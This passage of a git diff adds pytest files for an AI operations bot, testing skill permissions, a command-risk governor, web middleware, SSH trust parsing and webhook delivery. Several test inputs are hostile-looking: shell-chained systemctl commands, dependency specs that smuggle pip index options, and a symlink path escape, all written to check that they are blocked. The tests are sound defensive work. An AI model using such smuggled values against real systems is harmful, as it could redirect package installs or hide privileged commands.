ctx.run_on_host("lab", "reboot") + ex._exec_command.assert_not_awaited() + + +@pytest.mark.parametrize("scope_kind", ["snapshot", "live"]) +async def test_manager_selected_skill_scope_and_revocation(tmp_path, scope_kind): + mgr = manager(tmp_path) + mgr.create_skill("demo", skill_code()) + execute_fn = AsyncMock(return_value="executed") + mgr._skills["demo"].execute_fn = execute_fn + var = request_tool_scope if scope_kind == "snapshot" else request_scope_authorizer + scope = {"invoke_skill"} + token = var.set(scope if scope_kind == "snapshot" else lambda: scope) + try: + assert "Permission denied" in await mgr.execute("demo", {}, requester_id="admin") + execute_fn.assert_not_awaited() + scope.add("demo") + assert await mgr.execute("demo", {}, requester_id="admin") == "executed" + scope.remove("demo") + assert "Permission denied" in await mgr.execute("demo", {}, requester_id="admin") + assert execute_fn.await_count == 1 + finally: + var.reset(token) + + +async def test_manager_selected_skill_rbac_demoted_requester(tmp_path): + ex = executor(tmp_path, Permissions("guest")) + mgr = SkillManager(str(tmp_path / "skills"), ex) + mgr.create_skill("demo", skill_code()) + execute_fn = AsyncMock(return_value="executed") + mgr._skills["demo"].execute_fn = execute_fn + assert "Permission denied" in await mgr.execute("demo", {}, requester_id="admin") + execute_fn.assert_not_awaited() + + +async def test_native_invoke_checks_selected_skill_before_manager(tmp_path): + from src.discord.native_tools.registry import NativeToolDispatcher + mgr = manager(tmp_path) + mgr.create_skill("demo", skill_code()) + mgr.execute = AsyncMock(return_value="executed") + dispatcher = NativeToolDispatcher(owners={}, skill_manager=mgr, + tool_catalog=SimpleNamespace(), prompt_builder=SimpleNamespace(), + channel_state=SimpleNamespace(pending_files={})) + token = request_tool_scope.set({"invoke_skill"}) + try: + result, _ = await dispatcher.dispatch("invoke_skill", {"name": "demo"}, + message=SimpleNamespace(channel=SimpleNamespace(id=1)), user_id="admin", + skill_file_delivery="stage") + assert not result.ok + assert result.error == "permission_denied" + mgr.execute.assert_not_awaited() + finally: + request_tool_scope.reset(token) + + +async def test_legacy_deferred_invoke_checks_selected_skill(tmp_path): + from src.discord.background_task import _execute_tool_captured + + mgr = manager(tmp_path) + mgr.create_skill("demo", skill_code()) + mgr.execute = AsyncMock(return_value="executed") + token = request_tool_scope.set({"invoke_skill"}) + try: + result = await _execute_tool_captured("invoke_skill", {"name": "demo"}, + executor(tmp_path), mgr, None, None, "admin", requester_id="admin") + assert not result.ok + assert result.error == "permission_denied" + mgr.execute.assert_not_awaited() + finally: + request_tool_scope.reset(token) + + +@pytest.mark.parametrize("explicit_host", [True, False]) +async def test_validation_carries_effective_host_and_tier(tmp_path, explicit_host): + ex = executor(tmp_path, Permissions()) + ex.command_governor = CommandGovernor(host_overrides={"lab": "strict"}) + check = {"type": "command", "target": "systemctl restart example.service"} + if explicit_host: + check["host"] = "lab" + result = await ex.execute("validate_action", {"checks": [check]}, user_id="admin") + assert "strict-mode" in str(result) + ex._exec_command.assert_not_awaited() + ex.command_governor = CommandGovernor() + result = await ex.execute("validate_action", {"checks": [dict(check, target="reboot")]}, + user_id="admin") + ex._exec_command.assert_awaited_once() + assert "governor-blocked" not in str(result) + + +@pytest.mark.parametrize("options", ["--user", "--no-block", "--user --no-block", + "--host lab", "--machine=box", "--root /tmp", "-q --system", "-Hlab", "--"]) +def test_systemctl_global_options_cannot_hide_lifecycle(options): + command = f"systemctl {options} restart example.service" + assert classify_command(command).level == RiskLevel.HIGH + assert not CommandGovernor(host_overrides={"lab": "strict"}).check(command, host="lab").allowed + assert classify_command(f"systemctl {options} reload example.service").level == RiskLevel.MEDIUM + assert classify_command(f"systemctl {options} status example.service").level == RiskLevel.LOW + + +@pytest.mark.parametrize("command", ["systemctl --user restart; printf safe", + "printf safe && systemctl --no-block restart example.service", + "systemctl --user reload example.service; systemctl --system stop other.service"]) +def test_systemctl_option_scan_preserves_shell_boundaries_and_highest_risk(command): + assert classify_command(command).level == RiskLevel.HIGH + + +@pytest.mark.parametrize("name", ["browser_screenshot", "list_knowledge", "list_schedules", + "list_skills", "list_tasks", "parse_time", "search_audit", "search_history", + "search_knowledge"]) +async def test_native_only_names_are_not_advertised_by_generic_skill_api(tmp_path, name): + ex = executor(tmp_path) + ctx = SkillContext(ex, "demo", requester_id="admin") + assert name not in SKILL_SAFE_TOOLS + assert "not allowed" in await ctx.execute_tool(name) + ex._exec_command.assert_not_awaited() + + +def test_all_allowed_skill_generic_tools_resolve(tmp_path): + ex = executor(tmp_path) + assert all(ex._resolve_handler(tool) is not None for tool in SKILL_SAFE_TOOLS) + + +def test_create_skill_description_matches_method_kinds(): + from src.tools.registry import TOOLS + description = next(t["description"] for t in TOOLS if t["name"] == "create_skill") + async_part, sync_part = description.split("SkillContext synchronous methods") + for name in ["run_on_host", "read_file", "execute_tool", "http_get", "http_post", + "post_message", "post_file", "search_knowledge", "ingest_document", + "search_history", "schedule_task"]: + assert inspect.iscoroutinefunction(getattr(SkillContext, name)) + assert name + "(" in async_part + for name in ["remember", "recall", "get_hosts", "log"]: + assert not inspect.iscoroutinefunction(getattr(SkillContext, name)) + assert name + "(" in sync_part + + +@pytest.mark.parametrize("spec", ["requests>=2,<3", "demo[feature]>=1.2,!=1.3,<2", + "demo==1.*", "demo~=1.2", "requests >=2, <3"]) +def test_compound_requirements_are_safe(spec): + from src.tools.skill_manager import is_safe_dependency_spec + assert is_safe_dependency_spec(spec) + + +@pytest.mark.parametrize("spec", ["demo[]garbage", "demo>=", "demo>=1,,<2", + "demo @ https://example.com/archive.whl", "demo; python_version > '3'", + "demo\n--index-url=https://example.com", "demo>=1 --extra-index-url=example.com"]) +def test_requirement_parser_preserves_index_only_safety(spec): + from src.tools.skill_manager import is_safe_dependency_spec + + assert not is_safe_dependency_spec(spec) + + +def fake_distribution(version="1.5", extras=(), requires=()): + metadata = Message() + for extra in extras: + metadata["Provides-Extra"] = extra + return SimpleNamespace(version=version, metadata=metadata, requires=list(requires)) + + +def test_dependencies_check_versions_and_extra_dependencies(tmp_path, monkeypatch): + from importlib.metadata import PackageNotFoundError + + from src.tools import skill_manager as sm + installed = {"demo": fake_distribution(extras=["feature"], + requires=['child>=2; extra == "feature"']), + "child": fake_distribution("1")} + def distribution(name): + if name not in installed: + raise PackageNotFoundError(name) + return installed[name] + monkeypatch.setattr(sm, "distribution", distribution) + assert sm._is_package_installed("demo>=1,<2") + assert not sm._is_package_installed("demo==2") + assert not sm._is_package_installed("demo>=999") + assert not sm._is_package_installed("demo[missing]") + assert not sm._is_package_installed("demo[feature]") + installed["child"].version = "2" + assert sm._is_package_installed("demo[feature]") + installed.pop("child") + assert not sm._is_package_installed("demo[feature]") + mgr = manager(tmp_path) + mgr.create_skill("demo", skill_code()) + mgr._skills["demo"].metadata.dependencies = ["demo>=999", "demo[feature]"] + assert not mgr.check_dependencies("demo")["all_satisfied"] + installs = [] + monkeypatch.setattr(sm, "_install_packages", lambda specs: (installs.extend(specs) or True, "")) + already, newly, diagnostics = sm.resolve_dependencies(["demo>=999", "demo>=1,<2"]) + assert already == ["demo>=1,<2"] + assert newly == installs == ["demo>=999"] + assert not any(d.level == "error" for d in diagnostics) + + +async def test_long_skill_tail_is_retained_before_preview(tmp_path): + from src.tools.runtime_delivery import deliver_runtime_output, execution_delivery_scope + mgr = manager(tmp_path) + tail = "UNIQUE_FULL_TAIL" + output = "x" * 60000 + tail + mgr.create_skill("demo", skill_code(result=output)) + ex = executor(tmp_path) + with execution_delivery_scope("admin", "channel"): + result = await mgr.execute("demo", {}, requester_id="admin") + assert result.endswith(tail) + delivered = deliver_runtime_output(ex, result, tool_name="demo", tool_input={}, + user_id="admin", channel_id="channel", budget=1500) + envelope = json.loads(delivered) + snapshot, _ = ex._ensure_output_store().read(envelope["cursor"], owner="admin", + channel="channel", authorize=lambda tool, hosts: tool == "demo") + assert snapshot.text == output + assert snapshot.text.endswith(tail) + assert not mgr._skills["demo"].last_execution.truncated + assert "truncated at" in await mgr.execute("demo", {}) + + +async def test_long_skill_retention_quota_failure_is_explicit(tmp_path, monkeypatch): + from src.tools.output_retention import RetentionError + from src.tools.runtime_delivery import deliver_runtime_output, execution_delivery_scope + + mgr = manager(tmp_path) + output = "x" * 60000 + "TAIL" + mgr.create_skill("demo", skill_code(result=output)) + ex = executor(tmp_path) + def refuse(*args, **kwargs): + raise RetentionError("Result exceeds quota") + monkeypatch.setattr(ex._ensure_output_store(), "retain", refuse) + with execution_delivery_scope("admin", "channel"): + full = await mgr.execute("demo", {}, requester_id="admin") + assert full == output + delivered = deliver_runtime_output(ex, full, tool_name="demo", tool_input={}, + user_id="admin", channel_id="channel", budget=1500) + assert "quota" in delivered + assert "no continuation" in delivered.lower() diff --git a/tests/test_campaign_health_coverage.py b/tests/test_campaign_health_coverage.py new file mode 100644 index 000000000..b1d513a2a --- /dev/null +++ b/tests/test_campaign_health_coverage.py @@ -0,0 +1,188 @@ +"""Real HTTP middleware/UI error paths with disposable content and fake backends.""" +from types import SimpleNamespace + +import pytest +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.config.schema import WebConfig +from src.health.server import ( + HealthServer, + SessionManager, + _make_admin_middleware, + _make_auth_middleware, +) + + +@pytest.mark.parametrize("header", ["Origin", "Referer"]) +async def test_cross_origin_writes_are_blocked_before_handler(header): + server = HealthServer(port=0) + calls = [] + + async def write(request): + calls.append(await request.json()) + return web.json_response({"saved": True}) + + server._app.router.add_post("/api/test-write", write) + async with TestClient(TestServer(server._app)) as client: + response = await client.post("/api/test-write", json={"value": 1}, headers={ + header: "https://untrusted.example.invalid/page", + }) + assert response.status == 403 + assert (await response.json())["error"] == "cross-origin request blocked" + assert response.headers["X-Frame-Options"] == "DENY" + assert calls == [] + same_origin = str(client.make_url("/")) + response = await client.post("/api/test-write", json={"value": 2}, headers={ + header: same_origin, + }) + assert response.status == 200 + assert calls == [{"value": 2}] + + +async def test_ui_serves_asset_spa_and_refuses_symlink_escape(tmp_path): + server = HealthServer(port=0) + ui = tmp_path / "ui" + ui.mkdir() + (ui / "index.html").write_text("disposable test UI") + (ui / "app.js").write_text("test asset") + outside = tmp_path / "operator-private.txt" + outside.write_text("must not be served") + (ui / "escape.txt").symlink_to(outside) + server._ui_dir = ui + server._app.router.add_get("/", server._redirect_to_ui) + server._app.router.add_get("/ui/{path:.*}", server._serve_ui_file) + async with TestClient(TestServer(server._app)) as client: + response = await client.get("/", allow_redirects=False) + assert response.status == 302 + assert response.headers["Location"] == "/ui/" + for path in ("/ui/", "/ui/client-route"): + response = await client.get(path) + assert response.status == 200 + assert "disposable test UI" in await response.text() + assert await (await client.get("/ui/app.js")).text() == "test asset" + response = await client.get("/ui/escape.txt") + assert response.status == 403 + assert "must not be served" not in await response.text() + + +@pytest.mark.parametrize("manager,expected", [ + (SimpleNamespace(credential_inventory=SimpleNamespace(has_usable_auth=True)), 401), + (SimpleNamespace(list_tokens=lambda: [{"user_id": "test"}]), 401), + (SimpleNamespace(list_tokens=lambda: []), 200), + (SimpleNamespace(), 200), +]) +async def test_auth_inventory_fallbacks_fail_closed_when_credentials_exist(manager, expected): + app = web.Application(middlewares=[_make_auth_middleware(WebConfig(), SessionManager())]) + app["token_manager"] = manager + + async def protected(_request): + return web.json_response({"reached": True}) + + app.router.add_get("/api/test", protected) + async with TestClient(TestServer(app)) as client: + response = await client.get("/api/test") + assert response.status == expected + if expected == 200: + assert (await response.json()) == {"reached": True} + + +@pytest.mark.parametrize("config,manager,identity,expected", [ + (WebConfig(), None, None, 200), + (WebConfig(), SimpleNamespace(credential_store_auth_required=True), None, 403), + (WebConfig(api_token="test-admin"), None, SimpleNamespace(tier="admin"), 200), + (WebConfig(api_token="test-admin"), None, SimpleNamespace(tier="user"), 403), +]) +async def test_standalone_admin_middleware_enforces_recovery_and_tier( + config, manager, identity, expected, +): + @web.middleware + async def bind(request, handler): + request._api_identity = identity + return await handler(request) + + app = web.Application(middlewares=[bind, _make_admin_middleware(config)]) + app["token_manager"] = manager + + async def protected(_request): + return web.json_response({"reached": True}) + + app.router.add_post("/api/config", protected) + async with TestClient(TestServer(app)) as client: + assert (await client.post("/api/config", json={})).status == expected + + +def test_missing_session_has_no_expiry_lease(): + assert SessionManager().seconds_until_expiry("not-issued") is None + + +@pytest.mark.parametrize("event", ["push", "pull_request", "issues", "custom"]) +@pytest.mark.parametrize("delivery", ["success", "failure", "no-channel", "not-ready"]) +async def test_signed_gitea_events_and_delivery_errors_use_real_routes(event, delivery): + import hashlib + import hmac + import json + from unittest.mock import AsyncMock + + from src.config.schema import WebhookConfig + + send = AsyncMock( + side_effect=RuntimeError("delivery unavailable") if delivery == "failure" else None, + ) + triggers = AsyncMock(return_value=1) + server = HealthServer(port=0, webhook_config=WebhookConfig( + enabled=True, secret="test-signing-key", + gitea_channel_id="" if delivery == "no-channel" else "test-channel", + )) + if delivery != "not-ready": + server.set_send_message(send) + server.set_trigger_callback(triggers) + body = json.dumps({ + "repository": {"full_name": "fixture/repository"}, "ref": "refs/heads/main", + "pusher": {"login": "fixture"}, + "commits": [{"id": "abcdef123", "message": "test commit\nbody"}], + "pull_request": {"title": "test PR", "user": {"login": "fixture"}}, + "issue": {"title": "test issue"}, "sender": {"login": "fixture"}, "action": "opened", + }).encode() + signature = hmac.new(b"test-signing-key", body, hashlib.sha256).hexdigest() + expected = {"success": 200, "failure": 500, "no-channel": 500, "not-ready": 503}[delivery] + async with TestClient(TestServer(server._app)) as client: + response = await client.post("/webhook/gitea", data=body, headers={ + "X-Gitea-Signature": signature, "X-Gitea-Event": event, + }) + assert response.status == expected + payload = await response.json() + if delivery == "success": + assert payload == {"status": "delivered"} + else: + assert "error" in payload + triggers.assert_awaited_once_with("gitea", {"event": event, "repo": "fixture/repository"}) + if delivery in {"no-channel", "not-ready"}: + send.assert_not_awaited() + else: + assert send.await_args.args[0] == "test-channel" + assert "fixture/repository" in send.await_args.args[1] + + +async def test_signed_gitea_invalid_json_and_trigger_failure_are_isolated(): + import hashlib + import hmac + from unittest.mock import AsyncMock + + from src.config.schema import WebhookConfig + + server = HealthServer(port=0, webhook_config=WebhookConfig( + enabled=True, secret="test-signing-key", channel_id="test-channel", + )) + send = AsyncMock() + server.set_send_message(send) + server.set_trigger_callback(AsyncMock(side_effect=RuntimeError("scheduler unavailable"))) + async with TestClient(TestServer(server._app)) as client: + assert (await client.post("/webhook/gitea", data=b"{}")).status == 403 + for body, status in [(b"{broken", 400), (b"{}", 200)]: + signature = hmac.new(b"test-signing-key", body, hashlib.sha256).hexdigest() + response = await client.post("/webhook/gitea", data=body, headers={ + "X-Gitea-Signature": signature, + }) + assert response.status == status + send.assert_awaited_once() diff --git a/tests/test_campaign_hosts_trust_coverage.py b/tests/test_campaign_hosts_trust_coverage.py new file mode 100644 index 000000000..6780ccbfb --- /dev/null +++ b/tests/test_campaign_hosts_trust_coverage.py @@ -0,0 +1,95 @@ +"""Offline trust parser and enrollment failures, without network or process IO.""" + +import asyncio +import base64 +import struct +from types import SimpleNamespace +from unittest.mock import AsyncMock, Mock + +import pytest + +from src.tools.hosts import HostEnrollmentManager, HostRegistry, control +from src.tools.hosts.trust import HostTrustError, certificate_authority_key, normalize_public_key +from tests.test_campaign_process_hosts import key + + +def string(value): + return struct.pack(">I", len(value)) + value + + +def certificate(kind, fields, *, wire_kind=None, tail=b""): + authority = string(b"ssh-ed25519") + string(b"a" * 32) + raw = (string((wire_kind or kind).encode()) + string(b"nonce") + + b"".join(string(field) for field in fields) + + struct.pack(">QI", 1, 2) + string(b"id") + string(b"") + + struct.pack(">QQ", 0, 123) + string(b"") * 3 + + string(authority) + string(b"signature") + tail) + return kind + " " + base64.b64encode(raw).decode(), key(authority) + + +@pytest.mark.parametrize("kind,fields", [ + ("ssh-ed25519-cert-v01@openssh.com", [b"a" * 32]), + ("ssh-rsa-cert-v01@openssh.com", [b"\x01\x00\x01", b"modulus"]), + ("ecdsa-sha2-nistp256-cert-v01@openssh.com", [b"nistp256", b"point"]), + ("sk-ssh-ed25519-cert-v01@openssh.com", [b"a" * 32, b"ssh:fixture"]), + ("sk-ecdsa-sha2-nistp256-cert-v01@openssh.com", [b"nistp256", b"point", b"ssh:fixture"]), +]) +def test_signer_extraction_for_supported_wire_layouts(kind, fields): + value, authority = certificate(kind, fields) + assert certificate_authority_key(value) == authority + + +@pytest.mark.parametrize("value", [ + "ssh-ed25519 !!!", "ssh-ed25519 é", key(b"a" * 16385), +]) +def test_invalid_public_key_encoding_or_size_refused(value): + with pytest.raises(HostTrustError): + normalize_public_key(value) + + +@pytest.mark.parametrize("value", [ + "ssh-ed25519-cert-v01@openssh.com " + base64.b64encode(b"a" * 65537).decode(), + "ssh-ed25519-cert-v01@openssh.com " + base64.b64encode(b"\x00\x00\x00\xffx").decode(), + certificate("ssh-ed25519-cert-v01@openssh.com", [b"leaf"], wire_kind="wrong")[0], + certificate("unknown-cert-v01@openssh.com", [b"leaf"])[0], + certificate("ssh-ed25519-cert-v01@openssh.com", [b"leaf"], tail=b"trailing")[0], +]) +def test_malformed_certificate_never_yields_trust(value): + with pytest.raises(HostTrustError, match="malformed"): + certificate_authority_key(value) + + +@pytest.mark.parametrize("alias,body", [ + (None, {"address": "example.invalid"}), + ("", {"address": "example.invalid"}), + ("a" * 65, {"address": "example.invalid"}), + ("remote", {"address": "example.invalid", "description": "one\ntwo"}), + ("remote", {"address": "bad..name"}), +]) +def test_invalid_host_fields_are_rejected(alias, body): + with pytest.raises(HostTrustError): + control.validate_host_details(alias, body) + + +@pytest.mark.parametrize("failure", [TimeoutError, asyncio.CancelledError]) +async def test_subprocess_interruption_settles_owned_child(monkeypatch, failure): + proc = SimpleNamespace(returncode=None, communicate=AsyncMock(side_effect=failure), + kill=Mock(), wait=AsyncMock()) + spawn = AsyncMock(return_value=proc) + monkeypatch.setattr(control.asyncio, "create_subprocess_exec", spawn) + with pytest.raises(failure): + await control._run_argv(["ssh-keyscan", "example.invalid"], 1) + proc.kill.assert_called_once_with() + proc.wait.assert_awaited_once_with() + + +@pytest.mark.parametrize("expected,match", [(None, "required"), (["bad"], "SHA256")]) +async def test_pinned_enrollment_requires_well_formed_expected_fingerprint( + tmp_path, monkeypatch, expected, match, +): + manager = HostEnrollmentManager(HostRegistry({}, trust_dir=tmp_path)) + monkeypatch.setattr(manager, "scan", AsyncMock(return_value=(key(),))) + with pytest.raises(HostTrustError, match=match): + await manager.prepare("remote", {"address": "example.invalid", + "expected_fingerprints": expected}, allow_tofu=False) + assert manager._candidates == {} diff --git a/tests/test_campaign_learning_observability.py b/tests/test_campaign_learning_observability.py new file mode 100644 index 000000000..4b75748e0 --- /dev/null +++ b/tests/test_campaign_learning_observability.py @@ -0,0 +1,104 @@ +import json +from datetime import UTC, datetime, timedelta +from unittest.mock import AsyncMock + +import pytest + +from src.learning.reflector import ConversationReflector + + +@pytest.mark.asyncio +async def test_reflections_keep_colliding_keys_and_supersession_within_owner(tmp_path): + reflector = ConversationReflector(str(tmp_path / "learned.json")) + completion = AsyncMock() + reflector.set_text_fn(completion) + for owner, content in [("alice", "Alice uses Vim"), ("bob", "Bob uses Emacs")]: + completion.return_value = json.dumps([ + {"key": "preferred_editor", "category": "preference", "content": content}, + {"key": "old_editor", "category": "preference", "content": content}, + ]) + await reflector.reflect_on_operation("editor", ["tool"], [], "done", user_id=owner) + entries = reflector.get_all_entries() + assert len(entries) == 4 + assert "Bob uses Emacs" not in reflector.get_prompt_section(user_id="alice") + reflector._apply_use_stamps(entries) + assert all(e.get("last_used_at") for e in entries if e["user_id"] == "alice") + assert not any(e.get("last_used_at") for e in entries if e["user_id"] == "bob") + completion.return_value = json.dumps([ + {"key": "preferred_editor", "category": "preference", "content": "Bob uses Nano", + "supersedes": ["old_editor"]}, + ]) + await reflector.reflect_on_operation("editor", ["tool"], [], "done", user_id="bob") + assert "Alice uses Vim" not in completion.await_args.args[0][0]["content"] + entries = reflector.get_all_entries() + assert len(entries) == 3 + assert any(e["key"] == "old_editor" and e["user_id"] == "alice" for e in entries) + assert "Alice uses Vim" in reflector.get_prompt_section(user_id="alice") + assert "Bob uses Nano" in reflector.get_prompt_section(user_id="bob") + + +@pytest.mark.asyncio +async def test_personal_collision_cannot_replace_or_supersede_shared_lesson(tmp_path): + path = tmp_path / "learned.json" + originals = [ + {"key": key, "category": "preference", "content": "operator shared"} + for key in ("editor", "old_editor") + ] + path.write_text(json.dumps({"version": 2, "entries": originals})) + reflector = ConversationReflector(str(path)) + reflector.set_text_fn(AsyncMock(return_value=json.dumps([ + {"key": "editor", "category": "preference", "content": "personal", + "supersedes": ["old_editor"]}, + ]))) + await reflector.reflect_on_operation("editor", ["tool"], [], "done", user_id="bob") + assert len(reflector.get_all_entries()) == 3 + assert "personal" not in reflector.get_prompt_section(user_id="alice") + + +@pytest.mark.asyncio +@pytest.mark.parametrize("omit_owner", [False, True]) +async def test_consolidation_keeps_colliding_owner_metadata(tmp_path, omit_owner): + reflector = ConversationReflector(str(tmp_path / "learned.json")) + reflector._consolidation_target = 1 + old = (datetime.now(UTC) - timedelta(days=1)).isoformat() + originals = [ + {"key": "editor", "category": "preference", "content": owner, + "user_id": owner, "created_at": old, "source": {"owner": owner}} + for owner in ("alice", "bob") + ] + returned = [{k: v for k, v in e.items() if k != "source"} for e in originals] + if omit_owner: + returned[0].pop("user_id") + reflector.set_consolidation_fn(AsyncMock(return_value=json.dumps(returned))) + result = await reflector._consolidate(originals) + assert len(result) == 2 + assert all(e["source"]["owner"] == e["user_id"] for e in result) + assert all(e["created_at"] == old for e in result) + + +@pytest.mark.asyncio +async def test_updated_old_used_lesson_survives_real_consolidation(tmp_path): + path = tmp_path / "learned.json" + old = (datetime.now(UTC) - timedelta(days=400)).isoformat() + path.write_text(json.dumps({"version": 2, "entries": [ + {"key": "lesson", "category": "operational", "content": "old", + "created_at": old, "updated_at": old, "last_used_at": old}, + ]})) + reflector = ConversationReflector(str(path)) + assert await reflector.update_entry_async("lesson", "freshly edited") + result = await reflector._consolidate(reflector.get_all_entries()) + assert [e["content"] for e in result] == ["freshly edited"] + + +@pytest.mark.parametrize("fresh_field", ["updated_at", "last_used_at", "created_at"]) +def test_expiry_uses_newest_valid_activity(tmp_path, fresh_field): + reflector = ConversationReflector(str(tmp_path / "learned.json")) + old = (datetime.now(UTC) - timedelta(days=400)).isoformat() + stale = {"key": "stale", "category": "fact", "content": "stale", + "created_at": old, "updated_at": old, "last_used_at": old} + recent = dict(stale, key="recent") + recent[fresh_field] = datetime.now(UTC).isoformat() + # In-memory defense: an invalid old candidate must not obscure good evidence. + if fresh_field != "last_used_at": + recent["last_used_at"] = "invalid" + assert reflector._expire_entries([stale, recent]) == [recent] diff --git a/tests/test_campaign_loops.py b/tests/test_campaign_loops.py new file mode 100644 index 000000000..ecf82ac55 --- /dev/null +++ b/tests/test_campaign_loops.py @@ -0,0 +1,141 @@ +"""Real autonomous runner/manager regressions, with scripted model boundaries.""" +import asyncio + +import pytest + +from src.tools.autonomous_loop import LoopManager +from tests.characterization.test_autonomous_loop import build, run_iteration +from tests.fakes import FakeChannel, text_response, tool_call_response + + +@pytest.mark.parametrize("mode,text", [ + ("notify", "Final findings"), ("act", "Final findings"), + ("silent", "[ALERT] Final findings"), ("silent", "unremarkable"), +]) +async def test_terminal_findings_obey_mode_without_sentinel(mode, text): + manager = LoopManager() + channel = FakeChannel(id=777) + + async def iteration(*args): + return text + "\nLOOP_STOP" + + loop_id = manager.start_loop("check", channel, "4242", "tester", iteration, mode=mode) + await manager._loops[loop_id]._task + sent = str(channel.sent) + assert "LOOP_STOP" not in sent + assert ("Final findings" in sent) == (mode != "silent" or "[ALERT]" in text) + assert manager._loops[loop_id].status == "completed" + + +@pytest.mark.parametrize("failed", [False, True]) +async def test_final_iteration_never_sleeps(failed): + manager = LoopManager() + waits = [] + + async def wait(info, seconds): + waits.append(seconds) + return False + + manager._interruptible_wait = wait + + async def iteration(*args): + if failed: + raise RuntimeError("provider unavailable") + return "done" + + channel = FakeChannel(id=777) + loop_id = manager.start_loop("check", channel, "4242", "tester", iteration, + max_iterations=1, interval_seconds=10000) + await manager._loops[loop_id]._task + assert waits == [] + assert manager._loops[loop_id].status == "completed" + + +@pytest.mark.parametrize("kind", ["provider", "cap", "absent"]) +async def test_actual_failed_runner_stops_manager_after_five(tmp_path, monkeypatch, kind): + monkeypatch.chdir(tmp_path) + script = ([RuntimeError("provider failed")] * 6 if kind == "provider" else + [tool_call_response(("parse_time", {"expression": "now"}))] * 6) + bot, fake = build(script, tools={"max_tool_iterations_loop": 1}) + if kind == "absent": + bot.llm_gateway.codex_client = None + manager = bot.loop_manager + waits = [] + + async def wait(info, seconds): + waits.append(seconds) + return False + + manager._interruptible_wait = wait + + async def iteration(prompt, channel, prev, cancel_event): + return await bot.tool_loop.run_autonomous(prompt, channel, prev, "4242", + cancel_event=cancel_event) + + channel = FakeChannel(id=777) + loop_id = manager.start_loop("check", channel, "4242", "tester", iteration, + max_iterations=6, mode="notify", interval_seconds=10) + await manager._loops[loop_id]._task + info = manager._loops[loop_id] + assert info.status == "error" + assert info.iteration_count == 5 + assert waits == [20, 40, 80, 160] + assert "consecutive errors" in str(channel.sent) + + +async def test_empty_natural_completion_after_batched_tools_is_success(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + bot, fake = build([ + tool_call_response(("parse_time", {"expression": "now"}), + ("parse_time", {"expression": "now"})), + text_response(""), + ], tools={"max_tool_iterations_loop": 2}) + result = await run_iteration(bot) + assert result == "" + assert not result.is_error + assert bot.turn_recorder._maybe_loop_reflect.calls[-1]["is_error"] is False + assert len(fake.calls) == 2 + + +async def test_legitimate_generation_is_awaited_and_error_quotes_are_not_failures(): + manager, channel = LoopManager(), FakeChannel(id=777) + entered, release = asyncio.Event(), asyncio.Event() + + async def iteration(*args): + entered.set() + await release.wait() + return "Quoted diagnostic: ERROR provider failed. Investigation completed." + + loop_id = manager.start_loop("investigate", channel, "4242", "tester", iteration, + max_iterations=1) + task = manager._loops[loop_id]._task + await entered.wait() + await asyncio.sleep(0) + assert manager._loops[loop_id].status == "running" and not task.done() + release.set() + await task + assert manager._loops[loop_id].status == "completed" + assert "Investigation completed" in str(channel.sent) + + +async def test_real_success_resets_consecutive_failed_iteration_count(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + bot, fake = build([RuntimeError("failed")] * 4 + [text_response("recovered")] + + [RuntimeError("failed again")] * 4) + manager = bot.loop_manager + + async def wait(*args): + return False + + manager._interruptible_wait = wait + + async def iteration(prompt, channel, prev, cancel_event): + return await bot.tool_loop.run_autonomous(prompt, channel, prev, "4242", + cancel_event=cancel_event) + + loop_id = manager.start_loop("check", FakeChannel(id=777), "4242", "tester", iteration, + max_iterations=9) + await manager._loops[loop_id]._task + assert manager._loops[loop_id].status == "completed" + assert manager._loops[loop_id].iteration_count == 9 + assert len(fake.calls) == 9 diff --git a/tests/test_campaign_openrouter_coverage.py b/tests/test_campaign_openrouter_coverage.py new file mode 100644 index 000000000..9ed87453a --- /dev/null +++ b/tests/test_campaign_openrouter_coverage.py @@ -0,0 +1,48 @@ +"""Real route/profile evaluation fences configuration races after remote awaits.""" +import asyncio +from unittest.mock import AsyncMock + +import pytest +from aiohttp.test_utils import TestClient, TestServer + +from src.web.api.llm_admin import register_openai_compatible_admin +from tests.test_web_api_llm_admin import _app + + +@pytest.mark.parametrize("change,expected", [("endpoint", 409), ("policy", 400)]) +async def test_openrouter_revalidates_config_changed_during_catalogue_await( + monkeypatch, change, expected, +): + app, bot = _app(register_openai_compatible_admin) + cfg = bot.config.openai_compatible + cfg.base_url = "https://openrouter.ai/api/v1" + cfg.preset = "openrouter" + rows = [{"tag": "route", "provider_name": "Route", "context_length": 100_000, + "max_completion_tokens": 20_000, "supports_tools": True, + "supports_reasoning": True, "quantization": "unknown"}] + monkeypatch.setattr( + "src.web.api.llm_admin._openrouter_endpoint_rows", AsyncMock(return_value=rows), + ) + persist = AsyncMock(side_effect=AssertionError("no stale config publication")) + monkeypatch.setattr("src.web.api.llm_admin.persist_config_paths_locked", persist) + + async def catalogue(_cfg): + await asyncio.sleep(0) + if change == "endpoint": + cfg.base_url = "https://example.invalid/v1" + cfg.preset = "custom" + else: + cfg.openrouter.allow_fallbacks = False + cfg.openrouter.quantizations = ["fp32"] + return [{"id": "vendor/model", "supports_reasoning": True}], False, None + + monkeypatch.setattr("src.web.api.llm_admin._openrouter_models", catalogue) + async with TestClient(TestServer(app)) as client: + response = await client.post("/api/openrouter/models/vendor/model/select", json={}) + assert response.status == expected + body = await response.json() + if change == "endpoint": + assert body["error"] == "OpenRouter configuration changed" + else: + assert "safe model profile" in body["error"] + persist.assert_not_awaited() diff --git a/tests/test_campaign_outbound.py b/tests/test_campaign_outbound.py new file mode 100644 index 000000000..57d90229b --- /dev/null +++ b/tests/test_campaign_outbound.py @@ -0,0 +1,61 @@ +"""Admission/cooldown regressions using the actual dispatcher and HTTP boundary.""" +import asyncio +from types import SimpleNamespace +from unittest.mock import patch + +import pytest + +from src.notifications.outbound_webhooks import OutboundWebhookDispatcher, WebhookTarget +from tests.test_outbound_webhooks import _make_mock_session + + +@pytest.mark.parametrize("status", [200, 400]) +async def test_overlapping_delivery_reserves_target_and_preserves_settled_cooldown(status): + dispatcher = OutboundWebhookDispatcher(rate_limit_seconds=300) + dispatcher._webhooks["target"] = WebhookTarget( + id="target", name="fixture", url="https://example.com/hook") + session, response = _make_mock_session(status=status) + dispatcher._session = session + entered, release = asyncio.Event(), asyncio.Event() + + async def enter(): + entered.set() + await release.wait() + return response + + session.post.return_value.__aenter__.side_effect = enter + with patch("src.notifications.outbound_webhooks.time", SimpleNamespace(monotonic=lambda: 12)): + first = asyncio.create_task(dispatcher.dispatch("custom", {"event": 1})) + await entered.wait() + assert 